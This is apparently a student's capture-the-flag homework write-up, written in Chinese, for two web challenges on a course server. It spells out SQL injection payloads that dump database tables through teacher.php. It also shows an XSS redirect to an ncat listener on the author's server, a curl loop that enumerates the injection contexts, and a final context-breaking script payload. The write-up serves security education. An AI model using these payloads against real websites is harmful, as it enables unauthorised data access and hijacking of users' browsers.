[hw0x07] writeup

莊翔旭, woolninesun, b04902083

cei8a

- 1. 登入,github hacking...找到帳號密碼
- 2. 翻一翻用 time base 去測試,找到在 teacher.php 有 sql injection 的漏洞
- 3. sql injection payload 如下
 - o td=wang';select+1,2,3,4,5,6,7,8;-- 可以 leak 資訊
 - td=wang';select null,table_name from information_schema.tables limit 1 offset 0;-- 得到 teacher 這個 table
 - td=wang';select null, * from teacher;-- 看看裡面有啥,得到 flag

XSSkitchen

- 1. 在自己的 server 用 ncat -vvv -kl 0.0.0.0 9999 建立簡單的 server,在傳一個基本的 payload 嘗試 xxs document.location='http://server.domain:9999/'
- 2. 然後 server 這邊有成功收到訊息,其中一條資訊顯示:

```
Referer: http://localhost/server/7.php?c=document.location=%27http://server.domain:9999/%27
```

- 3. 猜測 http://localhost/server/7.php?c=payload 是可以碰到的,就嘗試 curl http://edu.kaibro.tw:5566/server/7.php?c={F00D},就出現第 7 道食材的樣子
- 4. 在 terminal 下 command,得到所有食材的樣子:

```
for i in {1..10}; do
    echo $(curl "http://edu.kaibro.tw:5566/server/${i}.php?c=FOOD" 2>/dev/null);
done
```

```
FOOD
<!--FOOD-->
<a href="FOOD">haha</a>
<title>FOOD</title>
<style>FOOD</style>
<script>`FOOD` </script>
<script>FOOD</script>
<script>/*FOOD*/<script>
<script>/*FOOD*/<script>
<script>/*FOOD*/<script>
<script>/*FOOD</script><<select><option>FOOD</option></select>
<xmp>FOOD</xmp>
```

5. 建構出 payload: -->"</title></xmp></style></script><script>alert()</script>
